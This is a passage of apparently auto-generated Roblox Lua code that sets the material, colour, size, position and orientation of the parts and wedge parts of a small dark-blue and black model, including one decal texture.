		Part6.BottomSurface = Enum.SurfaceType.Smooth
		Part6.TopSurface = Enum.SurfaceType.Smooth
		Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part6.Position = Vector3.new(84.713829, 4.26771784, 69.8875198)
		Part6.Orientation = Vector3.new(79.2300034, 0, 0)
		Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh7.Parent = Part6
		Part8.Name = "Brick"
		Part8.Parent = Model1
		Part8.Material = Enum.Material.SmoothPlastic
		Part8.BrickColor = BrickColor.new("Black")
		Part8.Reflectance = 0.0049999998882413
		Part8.Rotation = Vector3.new(79.2300034, 0, 0)
		Part8.Anchored = true
		Part8.CanCollide = false
		Part8.FormFactor = Enum.FormFactor.Symmetric
		Part8.Size = Vector3.new(0.201244384, 1.03670979, 0.806359112)
		Part8.CFrame = CFrame.new(85.166626, 4.1874733, 69.4766769, 1, -3.8433216e-13, 2.83340517e-12, -2.84009643e-12, 0.186832219, -0.982391834, 1.86642856e-13, 0.982391834, 0.186832219)
		Part8.BottomSurface = Enum.SurfaceType.Smooth
		Part8.TopSurface = Enum.SurfaceType.Smooth
		Part8.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part8.Position = Vector3.new(85.166626, 4.1874733, 69.4766769)
		Part8.Orientation = Vector3.new(79.2300034, 0, 0)
		Part8.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh9.Parent = Part8
		Part10.Name = "Brick"
		Part10.Parent = Model1
		Part10.Material = Enum.Material.SmoothPlastic
		Part10.BrickColor = BrickColor.new("Black")
		Part10.Reflectance = 0.0049999998882413
		Part10.Rotation = Vector3.new(88.4300003, 0, 0)
		Part10.Anchored = true
		Part10.CanCollide = false
		Part10.FormFactor = Enum.FormFactor.Symmetric
		Part10.Size = Vector3.new(0.201244384, 0.212827399, 1.0574975)
		Part10.CFrame = CFrame.new(85.166626, 4.22347689, 68.9344482, 1, 1.08608943e-13, 2.84414961e-12, -2.84009643e-12, 0.027451029, -0.99962306, 1.86642856e-13, 0.99962306, 0.027451029)
		Part10.BottomSurface = Enum.SurfaceType.Smooth
		Part10.TopSurface = Enum.SurfaceType.Smooth
		Part10.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part10.Position = Vector3.new(85.166626, 4.22347689, 68.9344482)
		Part10.Orientation = Vector3.new(88.4300003, 0, 0)
		Part10.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh11.Parent = Part10
		WedgePart12.Parent = Model1
		WedgePart12.Material = Enum.Material.SmoothPlastic
		WedgePart12.BrickColor = BrickColor.new("Black")
		WedgePart12.Reflectance = 0.0049999998882413
		WedgePart12.Rotation = Vector3.new(13.4300003, 0, 90)
		WedgePart12.Anchored = true
		WedgePart12.CanCollide = false
		WedgePart12.FormFactor = Enum.FormFactor.Symmetric
		WedgePart12.Size = Vector3.new(0.201244384, 0.201244384, 0.628686726)
		WedgePart12.CFrame = CFrame.new(84.2616959, 4.99800968, 68.1583786, 5.42964393e-08, -0.999996722, -1.74445791e-10, 0.972667515, 4.60768099e-08, -0.232180193, 0.232180342, -1.65836891e-08, 0.972667634)
		WedgePart12.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart12.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart12.Position = Vector3.new(84.2616959, 4.99800968, 68.1583786)
		WedgePart12.Orientation = Vector3.new(13.4300003, 0, 90)
		WedgePart12.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart13.Parent = Model1
		WedgePart13.Material = Enum.Material.SmoothPlastic
		WedgePart13.BrickColor = BrickColor.new("Black")
		WedgePart13.Reflectance = 0.0049999998882413
		WedgePart13.Rotation = Vector3.new(13.4300003, 0, -90)
		WedgePart13.Anchored = true
		WedgePart13.CanCollide = false
		WedgePart13.FormFactor = Enum.FormFactor.Symmetric
		WedgePart13.Size = Vector3.new(0.201244384, 0.352177709, 0.729308963)
		WedgePart13.CFrame = CFrame.new(84.8906479, 5.15557432, 67.4995956, 1.11450326e-07, 0.999996722, -9.83475843e-07, -0.972667575, -1.19211848e-07, -0.232179835, -0.232180044, 9.53674544e-07, 0.972667694)
		WedgePart13.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart13.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart13.Position = Vector3.new(84.8906479, 5.15557432, 67.4995956)
		WedgePart13.Orientation = Vector3.new(13.4300003, 0, -90)
		WedgePart13.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart14.Parent = Model1
		WedgePart14.Material = Enum.Material.SmoothPlastic
		WedgePart14.BrickColor = BrickColor.new("Black")
		WedgePart14.Reflectance = 0.0049999998882413
		WedgePart14.Rotation = Vector3.new(13.4300003, 0, -180)
		WedgePart14.Anchored = true
		WedgePart14.CanCollide = false
		WedgePart14.Size = Vector3.new(0.201244384, 0.224141195, 0.517623842)
		WedgePart14.CFrame = CFrame.new(84.2610245, 4.65805483, 68.6664963, -0.99999994, 1.67656744e-05, 7.46475916e-06, -1.80406896e-05, -0.972671866, -0.232184008, 3.36804032e-06, -0.232183963, 0.972671926)
		WedgePart14.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart14.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart14.Position = Vector3.new(84.2610245, 4.65805483, 68.6664963)
		WedgePart14.Orientation = Vector3.new(13.4300003, 0, -180)
		WedgePart14.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart15.Parent = Model1
		WedgePart15.Material = Enum.Material.SmoothPlastic
		WedgePart15.BrickColor = BrickColor.new("Black")
		WedgePart15.Reflectance = 0.0049999998882413
		WedgePart15.Rotation = Vector3.new(-166.570007, 0, 0)
		WedgePart15.Anchored = true
		WedgePart15.CanCollide = false
		WedgePart15.Size = Vector3.new(0.201244384, 0.226340756, 0.503780782)
		WedgePart15.CFrame = CFrame.new(85.166626, 4.53830528, 69.1634369, 1, -1.67652124e-05, 7.60012563e-06, -1.80716834e-05, -0.972671926, 0.232184038, 3.49981519e-06, -0.232184038, -0.972671926)
		WedgePart15.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart15.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart15.Position = Vector3.new(85.166626, 4.53830528, 69.1634369)
		WedgePart15.Orientation = Vector3.new(-13.4300003, 180, -180)
		WedgePart15.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart16.Parent = Model1
		WedgePart16.Material = Enum.Material.SmoothPlastic
		WedgePart16.BrickColor = BrickColor.new("Black")
		WedgePart16.Reflectance = 0.0049999998882413
		WedgePart16.Rotation = Vector3.new(13.4300003, 0, 90)
		WedgePart16.Anchored = true
		WedgePart16.CanCollide = false
		WedgePart16.FormFactor = Enum.FormFactor.Symmetric
		WedgePart16.Size = Vector3.new(0.201244384, 0.352177709, 0.729308963)
		WedgePart16.CFrame = CFrame.new(84.5387802, 5.15557432, 67.4995956, 1.1144477e-07, -0.999996722, 9.83477548e-07, 0.972667575, -1.19206263e-07, -0.232179835, 0.232180044, 9.53674146e-07, 0.972667694)
		WedgePart16.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart16.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart16.Position = Vector3.new(84.5387802, 5.15557432, 67.4995956)
		WedgePart16.Orientation = Vector3.new(13.4300003, 0, 90)
		WedgePart16.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart17.Parent = Model1
		WedgePart17.Material = Enum.Material.SmoothPlastic
		WedgePart17.BrickColor = BrickColor.new("Black")
		WedgePart17.Reflectance = 0.0049999998882413
		WedgePart17.Rotation = Vector3.new(-166.570007, 0, 0)
		WedgePart17.Anchored = true
		WedgePart17.CanCollide = false
		WedgePart17.Size = Vector3.new(0.201244384, 0.224141195, 0.498885751)
		WedgePart17.CFrame = CFrame.new(84.2610321, 4.54004574, 69.1608963, 0.99999994, 1.67656744e-05, -7.4647578e-06, 1.80406896e-05, -0.972671866, 0.232183889, -3.36804032e-06, -0.232183903, -0.972671926)
		WedgePart17.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart17.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart17.Position = Vector3.new(84.2610321, 4.54004574, 69.1608963)
		WedgePart17.Orientation = Vector3.new(-13.4300003, -180, 180)
		WedgePart17.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart18.Parent = Model1
		WedgePart18.Material = Enum.Material.SmoothPlastic
		WedgePart18.BrickColor = BrickColor.new("Black")
		WedgePart18.Reflectance = 0.0049999998882413
		WedgePart18.Rotation = Vector3.new(13.4300003, 0, -90)
		WedgePart18.Anchored = true
		WedgePart18.CanCollide = false
		WedgePart18.FormFactor = Enum.FormFactor.Symmetric
		WedgePart18.Size = Vector3.new(0.201244384, 0.201244384, 0.628686726)
		WedgePart18.CFrame = CFrame.new(85.1665039, 4.99800968, 68.1583786, 5.43020029e-08, 0.999996722, 1.76164416e-10, -0.972667515, 4.60712499e-08, -0.232180193, -0.232180342, -1.65833196e-08, 0.972667634)
		WedgePart18.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart18.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart18.Position = Vector3.new(85.1665039, 4.99800968, 68.1583786)
		WedgePart18.Orientation = Vector3.new(13.4300003, 0, -90)
		WedgePart18.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart19.Parent = Model1
		WedgePart19.Material = Enum.Material.SmoothPlastic
		WedgePart19.BrickColor = BrickColor.new("Black")
		WedgePart19.Reflectance = 0.0049999998882413
		WedgePart19.Rotation = Vector3.new(13.4300003, 0, 180)
		WedgePart19.Anchored = true
		WedgePart19.CanCollide = false
		WedgePart19.Size = Vector3.new(0.201244384, 0.226340756, 0.518070102)
		WedgePart19.CFrame = CFrame.new(85.166626, 4.6569376, 68.6664658, -1, -1.67652124e-05, -7.60012745e-06, 1.80716834e-05, -0.972671986, -0.232184127, -3.49981519e-06, -0.232184127, 0.972671986)
		WedgePart19.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart19.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart19.Position = Vector3.new(85.166626, 4.6569376, 68.6664658)
		WedgePart19.Orientation = Vector3.new(13.4300003, 0, 180)
		WedgePart19.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart20.Parent = Model1
		WedgePart20.Material = Enum.Material.SmoothPlastic
		WedgePart20.BrickColor = BrickColor.new("Navy blue")
		WedgePart20.Reflectance = 0.0049999998882413
		WedgePart20.Rotation = Vector3.new(13.4300003, 0, 180)
		WedgePart20.Anchored = true
		WedgePart20.CanCollide = false
		WedgePart20.Size = Vector3.new(0.220499977, 0.247997627, 0.567640364)
		WedgePart20.CFrame = CFrame.new(85.2099533, 4.84621525, 68.6509476, -1, -1.67652124e-05, -7.60012745e-06, 1.80716834e-05, -0.972671986, -0.232184127, -3.49981519e-06, -0.232184127, 0.972671986)
		WedgePart20.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart20.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart20.Position = Vector3.new(85.2099533, 4.84621525, 68.6509476)
		WedgePart20.Orientation = Vector3.new(13.4300003, 0, 180)
		WedgePart20.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart21.Parent = Model1
		WedgePart21.Material = Enum.Material.SmoothPlastic
		WedgePart21.BrickColor = BrickColor.new("Navy blue")
		WedgePart21.Reflectance = 0.0049999998882413
		WedgePart21.Rotation = Vector3.new(-166.570007, 0, 0)
		WedgePart21.Anchored = true
		WedgePart21.CanCollide = false
		WedgePart21.Size = Vector3.new(0.220499977, 0.245587617, 0.546620429)
		WedgePart21.CFrame = CFrame.new(84.2177048, 4.7181406, 69.1926804, 0.99999994, 1.67656744e-05, -7.4647578e-06, 1.80406896e-05, -0.972671866, 0.232183889, -3.36804032e-06, -0.232183903, -0.972671926)
		WedgePart21.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart21.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart21.Position = Vector3.new(84.2177048, 4.7181406, 69.1926804)
		WedgePart21.Orientation = Vector3.new(-13.4300003, -180, 180)
		WedgePart21.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart22.Parent = Model1
		WedgePart22.Material = Enum.Material.SmoothPlastic
		WedgePart22.BrickColor = BrickColor.new("Navy blue")
		WedgePart22.Reflectance = 0.0049999998882413
		WedgePart22.Rotation = Vector3.new(13.4300003, 0, 90)
		WedgePart22.Anchored = true
		WedgePart22.CanCollide = false
		WedgePart22.FormFactor = Enum.FormFactor.Symmetric
		WedgePart22.Size = Vector3.new(0.220499977, 0.220499977, 0.688841164)
		WedgePart22.CFrame = CFrame.new(84.2184372, 5.2199173, 68.0942612, 5.42964393e-08, -0.999996722, -1.74445791e-10, 0.972667515, 4.60768099e-08, -0.232180193, 0.232180342, -1.65836891e-08, 0.972667634)
		WedgePart22.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart22.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart22.Position = Vector3.new(84.2184372, 5.2199173, 68.0942612)
		WedgePart22.Orientation = Vector3.new(13.4300003, 0, 90)
		WedgePart22.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart23.Parent = Model1
		WedgePart23.Material = Enum.Material.SmoothPlastic
		WedgePart23.BrickColor = BrickColor.new("Navy blue")
		WedgePart23.Reflectance = 0.0049999998882413
		WedgePart23.Rotation = Vector3.new(13.4300003, 0, -90)
		WedgePart23.Anchored = true
		WedgePart23.CanCollide = false
		WedgePart23.FormFactor = Enum.FormFactor.Symmetric
		WedgePart23.Size = Vector3.new(0.220499977, 0.220499977, 0.688841164)
		WedgePart23.CFrame = CFrame.new(85.2098083, 5.2199173, 68.0942612, 5.43020029e-08, 0.999996722, 1.76164416e-10, -0.972667515, 4.60712499e-08, -0.232180193, -0.232180342, -1.65833196e-08, 0.972667634)
		WedgePart23.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart23.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart23.Position = Vector3.new(85.2098083, 5.2199173, 68.0942612)
		WedgePart23.Orientation = Vector3.new(13.4300003, 0, -90)
		WedgePart23.Color = Color3.new(0, 0.12549, 0.376471)
		Part24.Name = "Brick"
		Part24.Parent = Model1
		Part24.Material = Enum.Material.SmoothPlastic
		Part24.BrickColor = BrickColor.new("Medium blue")
		Part24.Rotation = Vector3.new(0, 90, 0)
		Part24.Anchored = true
		Part24.CanCollide = false
		Part24.FormFactor = Enum.FormFactor.Symmetric
		Part24.Size = Vector3.new(1.23828077, 0.200000003, 1.23717237)
		Part24.CFrame = CFrame.new(84.7160416, 2.58101511, 69.6111679, -1.74450037e-07, -1.85120143e-06, 1, -4.62681055e-06, 0.99999994, 1.85119507e-06, -0.99999994, -4.62681055e-06, -1.74458165e-07)
		Part24.BottomSurface = Enum.SurfaceType.Smooth
		Part24.TopSurface = Enum.SurfaceType.Smooth
		Part24.Color = Color3.new(0.431373, 0.6, 0.792157)
		Part24.Position = Vector3.new(84.7160416, 2.58101511, 69.6111679)
		Part24.Orientation = Vector3.new(0, 90, 0)
		Part24.Color = Color3.new(0.431373, 0.6, 0.792157)
		BlockMesh25.Parent = Part24
		Part26.Name = "Brick"
		Part26.Parent = Model1
		Part26.Material = Enum.Material.SmoothPlastic
		Part26.BrickColor = BrickColor.new("Really black")
		Part26.Rotation = Vector3.new(0, 90, 0)
		Part26.Anchored = true
		Part26.CanCollide = false
		Part26.FormFactor = Enum.FormFactor.Symmetric
		Part26.Size = Vector3.new(1.09828091, 1.83832359, 1.0971725)
		Part26.CFrame = CFrame.new(84.7160492, 3.10478282, 69.611145, -1.74450037e-07, -1.85120143e-06, 1, -4.62681055e-06, 0.99999994, 1.85119507e-06, -0.99999994, -4.62681055e-06, -1.74458165e-07)
		Part26.BottomSurface = Enum.SurfaceType.Smooth
		Part26.TopSurface = Enum.SurfaceType.Smooth
		Part26.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part26.Position = Vector3.new(84.7160492, 3.10478282, 69.611145)
		Part26.Orientation = Vector3.new(0, 90, 0)
		Part26.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh27.Parent = Part26
		Part28.Name = "Brick"
		Part28.Parent = Model1
		Part28.Material = Enum.Material.SmoothPlastic
		Part28.BrickColor = BrickColor.new("Medium blue")
		Part28.Rotation = Vector3.new(0, 90, 0)
		Part28.Anchored = true
		Part28.CanCollide = false
		Part28.FormFactor = Enum.FormFactor.Symmetric
		Part28.Size = Vector3.new(1.23828077, 0.200000003, 1.23717237)
		Part28.CFrame = CFrame.new(84.7160492, 2.31716251, 69.6111603, -1.74450037e-07, -1.85120143e-06, 1, -4.62681055e-06, 0.99999994, 1.85119507e-06, -0.99999994, -4.62681055e-06, -1.74458165e-07)
		Part28.BottomSurface = Enum.SurfaceType.Smooth
		Part28.TopSurface = Enum.SurfaceType.Smooth
		Part28.Color = Color3.new(0.431373, 0.6, 0.792157)
		Part28.Position = Vector3.new(84.7160492, 2.31716251, 69.6111603)
		Part28.Orientation = Vector3.new(0, 90, 0)
		Part28.Color = Color3.new(0.431373, 0.6, 0.792157)
		BlockMesh29.Parent = Part28
		Part30.Name = "Brick"
		Part30.Parent = Model1
		Part30.Material = Enum.Material.SmoothPlastic
		Part30.BrickColor = BrickColor.new("Black")
		Part30.Reflectance = 0.0049999998882413
		Part30.Rotation = Vector3.new(88.4300003, 0, 0)
		Part30.Anchored = true
		Part30.CanCollide = false
		Part30.FormFactor = Enum.FormFactor.Symmetric
		Part30.Size = Vector3.new(0.924965441, 0.201244384, 1.06169295)
		Part30.CFrame = CFrame.new(84.6228867, 4.22645569, 68.9277115, 1, 1.08608943e-13, 2.84414961e-12, -2.84009643e-12, 0.027451029, -0.99962306, 1.86642856e-13, 0.99962306, 0.027451029)
		Part30.BottomSurface = Enum.SurfaceType.Smooth
		Part30.TopSurface = Enum.SurfaceType.Smooth
		Part30.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part30.Position = Vector3.new(84.6228867, 4.22645569, 68.9277115)
		Part30.Orientation = Vector3.new(88.4300003, 0, 0)
		Part30.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh31.Parent = Part30
		Part32.Name = "Brick"
		Part32.Parent = Model1
		Part32.Material = Enum.Material.SmoothPlastic
		Part32.BrickColor = BrickColor.new("Black")
		Part32.Reflectance = 0.0049999998882413
		Part32.Rotation = Vector3.new(79.2300034, 0, 0)
		Part32.Anchored = true
		Part32.CanCollide = false
		Part32.FormFactor = Enum.FormFactor.Symmetric
		Part32.Size = Vector3.new(0.201244384, 1.03670979, 0.806359112)
		Part32.CFrame = CFrame.new(84.2610245, 4.18971729, 69.4767838, 1, -3.8433216e-13, 2.83340517e-12, -2.84009643e-12, 0.186832219, -0.982391834, 1.86642856e-13, 0.982391834, 0.186832219)
		Part32.BottomSurface = Enum.SurfaceType.Smooth
		Part32.TopSurface = Enum.SurfaceType.Smooth
		Part32.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part32.Position = Vector3.new(84.2610245, 4.18971729, 69.4767838)
		Part32.Orientation = Vector3.new(79.2300034, 0, 0)
		Part32.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh33.Parent = Part32
		Part34.Name = "Brick"
		Part34.Parent = Model1
		Part34.Material = Enum.Material.SmoothPlastic
		Part34.BrickColor = BrickColor.new("Navy blue")
		Part34.Reflectance = 0.0049999998882413
		Part34.Rotation = Vector3.new(79.2300034, 0, 0)
		Part34.Anchored = true
		Part34.CanCollide = false
		Part34.FormFactor = Enum.FormFactor.Symmetric
		Part34.Size = Vector3.new(0.220499977, 1.13590491, 0.883513689)
		Part34.CFrame = CFrame.new(84.2177048, 4.3342948, 69.5388107, 1, -3.8433216e-13, 2.83340517e-12, -2.84009643e-12, 0.186832219, -0.982391834, 1.86642856e-13, 0.982391834, 0.186832219)
		Part34.BottomSurface = Enum.SurfaceType.Smooth
		Part34.TopSurface = Enum.SurfaceType.Smooth
		Part34.Color = Color3.new(0, 0.12549, 0.376471)
		Part34.Position = Vector3.new(84.2177048, 4.3342948, 69.5388107)
		Part34.Orientation = Vector3.new(79.2300034, 0, 0)
		Part34.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh35.Parent = Part34
		Part36.Name = "Brick"
		Part36.Parent = Model1
		Part36.Material = Enum.Material.SmoothPlastic
		Part36.BrickColor = BrickColor.new("Navy blue")
		Part36.Reflectance = 0.0049999998882413
		Part36.Rotation = Vector3.new(79.2300034, 0, 0)
		Part36.Anchored = true
		Part36.CanCollide = false
		Part36.FormFactor = Enum.FormFactor.Symmetric
		Part36.Size = Vector3.new(0.220499977, 1.13590491, 0.883513689)
		Part36.CFrame = CFrame.new(85.2099533, 4.33183575, 69.5387192, 1, -3.8433216e-13, 2.83340517e-12, -2.84009643e-12, 0.186832219, -0.982391834, 1.86642856e-13, 0.982391834, 0.186832219)
		Part36.BottomSurface = Enum.SurfaceType.Smooth
		Part36.TopSurface = Enum.SurfaceType.Smooth
		Part36.Color = Color3.new(0, 0.12549, 0.376471)
		Part36.Position = Vector3.new(85.2099533, 4.33183575, 69.5387192)
		Part36.Orientation = Vector3.new(79.2300034, 0, 0)
		Part36.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh37.Parent = Part36
		Part38.Name = "Brick"
		Part38.Parent = Model1
		Part38.Material = Enum.Material.SmoothPlastic
		Part38.BrickColor = BrickColor.new("Navy blue")
		Part38.Reflectance = 0.0049999998882413
		Part38.Rotation = Vector3.new(103.43, 0, 0)
		Part38.Anchored = true
		Part38.CanCollide = false
		Part38.FormFactor = Enum.FormFactor.Symmetric
		Part38.Size = Vector3.new(1.21275008, 1.59979963, 0.220499977)
		Part38.CFrame = CFrame.new(84.713829, 4.95423746, 69.2073441, 1, 8.59323843e-13, 2.78033499e-12, -2.84009643e-12, -0.232184067, -0.972671926, 1.86642856e-13, 0.972671926, -0.232184067)
		Part38.BottomSurface = Enum.SurfaceType.Smooth
		Part38.TopSurface = Enum.SurfaceType.Smooth
		Part38.Color = Color3.new(0, 0.12549, 0.376471)
		Part38.Position = Vector3.new(84.713829, 4.95423746, 69.2073441)
		Part38.Orientation = Vector3.new(76.5699997, 180, -180)
		Part38.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh39.Parent = Part38
		Part40.Name = "Brick"
		Part40.Parent = Model1
		Part40.Material = Enum.Material.SmoothPlastic
		Part40.BrickColor = BrickColor.new("Navy blue")
		Part40.Reflectance = 0.0049999998882413
		Part40.Rotation = Vector3.new(79.2300034, 0, 0)
		Part40.Anchored = true
		Part40.CanCollide = false
		Part40.FormFactor = Enum.FormFactor.Symmetric
		Part40.Size = Vector3.new(1.21275008, 0.220499977, 0.883513689)
		Part40.CFrame = CFrame.new(84.713829, 4.41975594, 69.9888382, 1, -3.8433216e-13, 2.83340517e-12, -2.84009643e-12, 0.186832219, -0.982391834, 1.86642856e-13, 0.982391834, 0.186832219)
		Part40.BottomSurface = Enum.SurfaceType.Smooth
		Part40.TopSurface = Enum.SurfaceType.Smooth
		Part40.Color = Color3.new(0, 0.12549, 0.376471)
		Part40.Position = Vector3.new(84.713829, 4.41975594, 69.9888382)
		Part40.Orientation = Vector3.new(79.2300034, 0, 0)
		Part40.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh41.Parent = Part40
		Part42.Name = "Brick"
		Part42.Parent = Model1
		Part42.Material = Enum.Material.SmoothPlastic
		Part42.BrickColor = BrickColor.new("Navy blue")
		Part42.Reflectance = 0.0049999998882413
		Part42.Rotation = Vector3.new(88.4300003, 0, 0)
		Part42.Anchored = true
		Part42.CanCollide = false
		Part42.FormFactor = Enum.FormFactor.Symmetric
		Part42.Size = Vector3.new(1.0134685, 0.220499977, 1.16327846)
		Part42.CFrame = CFrame.new(84.6141891, 4.37454987, 68.9372253, 1, 1.08608943e-13, 2.84414961e-12, -2.84009643e-12, 0.027451029, -0.99962306, 1.86642856e-13, 0.99962306, 0.027451029)
		Part42.BottomSurface = Enum.SurfaceType.Smooth
		Part42.TopSurface = Enum.SurfaceType.Smooth
		Part42.Color = Color3.new(0, 0.12549, 0.376471)
		Part42.Position = Vector3.new(84.6141891, 4.37454987, 68.9372253)
		Part42.Orientation = Vector3.new(88.4300003, 0, 0)
		Part42.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh43.Parent = Part42
		Part44.Name = "Brick"
		Part44.Parent = Model1
		Part44.Material = Enum.Material.SmoothPlastic
		Part44.BrickColor = BrickColor.new("Navy blue")
		Part44.Reflectance = 0.0049999998882413
		Part44.Rotation = Vector3.new(88.4300003, 0, 0)
		Part44.Anchored = true
		Part44.CanCollide = false
		Part44.FormFactor = Enum.FormFactor.Symmetric
		Part44.Size = Vector3.new(0.220499977, 0.233191282, 1.15868151)
		Part44.CFrame = CFrame.new(85.2099533, 4.37127972, 68.9445953, 1, 1.08608943e-13, 2.84414961e-12, -2.84009643e-12, 0.027451029, -0.99962306, 1.86642856e-13, 0.99962306, 0.027451029)
		Part44.BottomSurface = Enum.SurfaceType.Smooth
		Part44.TopSurface = Enum.SurfaceType.Smooth
		Part44.Color = Color3.new(0, 0.12549, 0.376471)
		Part44.Position = Vector3.new(85.2099533, 4.37127972, 68.9445953)
		Part44.Orientation = Vector3.new(88.4300003, 0, 0)
		Part44.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh45.Parent = Part44
		Part46.Name = "Brick"
		Part46.Parent = Model1
		Part46.Material = Enum.Material.SmoothPlastic
		Part46.BrickColor = BrickColor.new("Black")
		Part46.Reflectance = 0.0049999998882413
		Part46.Rotation = Vector3.new(103.43, 0, 0)
		Part46.Anchored = true
		Part46.CanCollide = false
		Part46.FormFactor = Enum.FormFactor.Symmetric
		Part46.Size = Vector3.new(1.10684443, 1.46009409, 0.201244384)
		Part46.CFrame = CFrame.new(84.713829, 4.75552416, 69.1742554, 1, 8.59323843e-13, 2.78033499e-12, -2.84009643e-12, -0.232184067, -0.972671926, 1.86642856e-13, 0.972671926, -0.232184067)
		Part46.BottomSurface = Enum.SurfaceType.Smooth
		Part46.TopSurface = Enum.SurfaceType.Smooth
		Part46.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part46.Position = Vector3.new(84.713829, 4.75552416, 69.1742554)
		Part46.Orientation = Vector3.new(76.5699997, 180, -180)
		Part46.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh47.Parent = Part46
		Part48.Parent = Model1
		Part48.Transparency = 1
		Part48.Rotation = Vector3.new(103.43, 0, 0)
		Part48.Anchored = true
		Part48.CanCollide = false
		Part48.FormFactor = Enum.FormFactor.Symmetric
		Part48.Size = Vector3.new(1.15937805, 1.40214789, 0.200000048)
		Part48.CFrame = CFrame.new(84.7078781, 4.9594717, 69.2473831, 1, -2.23584706e-08, 2.78033477e-12, -5.19422949e-09, -0.232183963, -0.972671866, 2.17484519e-08, 0.972671866, -0.232183963)
		Part48.Position = Vector3.new(84.7078781, 4.9594717, 69.2473831)
		Part48.Orientation = Vector3.new(76.5699997, 180, -180)
		Decal49.Parent = Part48
		Decal49.Texture = "http://www.roblox.com/asset/?id=590273972"
		Part50.Parent = Model1
		Part50.Material = Enum.Material.SmoothPlastic
		Part50.BrickColor = BrickColor.new("Navy blue")
		Part50.Reflectance = 0.0049999998882413
		Part50.Rotation = Vector3.new(13.4300003, 0, -180)
		Part50.Anchored = true
		Part50.CanCollide = false
		Part50.Size = Vector3.new(0.770880163, 0.220499977, 0.688839018)
		Part50.CFrame = CFrame.new(84.7141266, 5.2199173, 68.0942612, -0.99999994, 2.78033629e-12, 8.30897634e-13, 2.84009621e-12, -0.972672582, -0.232180983, -1.86642843e-13, -0.232181013, 0.972672522)
		Part50.BottomSurface = Enum.SurfaceType.Smooth
		Part50.TopSurface = Enum.SurfaceType.Smooth
		Part50.Color = Color3.new(0, 0.12549, 0.376471)
		Part50.Position = Vector3.new(84.7141266, 5.2199173, 68.0942612)
		Part50.Orientation = Vector3.new(13.4300003, 0, 180)
		Part50.Color = Color3.new(0, 0.12549, 0.376471)
		Part51.Parent = Model1
		Part51.Material = Enum.Material.SmoothPlastic
		Part51.BrickColor = BrickColor.new("Black")
		Part51.Reflectance = 0.0049999998882413
		Part51.Rotation = Vector3.new(13.4300003, 0, -180)
		Part51.Anchored = true
		Part51.CanCollide = false
		Part51.Size = Vector3.new(0.703561604, 0.201244384, 0.628684759)
		Part51.CFrame = CFrame.new(84.7140961, 4.99800968, 68.1583786, -0.99999994, 2.78033629e-12, 8.30897634e-13, 2.84009621e-12, -0.972672582, -0.232180983, -1.86642843e-13, -0.232181013, 0.972672522)
		Part51.BottomSurface = Enum.SurfaceType.Smooth
		Part51.TopSurface = Enum.SurfaceType.Smooth
		Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part51.Position = Vector3.new(84.7140961, 4.99800968, 68.1583786)
		Part51.Orientation = Vector3.new(13.4300003, 0, 180)
		Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart52.Parent = Model1
		WedgePart52.Material = Enum.Material.SmoothPlastic
		WedgePart52.BrickColor = BrickColor.new("Navy blue")
		WedgePart52.Reflectance = 0.0049999998882413
		WedgePart52.Rotation = Vector3.new(-166.570007, 0, 0)
		WedgePart52.Anchored = true
		WedgePart52.CanCollide = false
		WedgePart52.Size = Vector3.new(0.220499977, 0.247997627, 0.551983833)
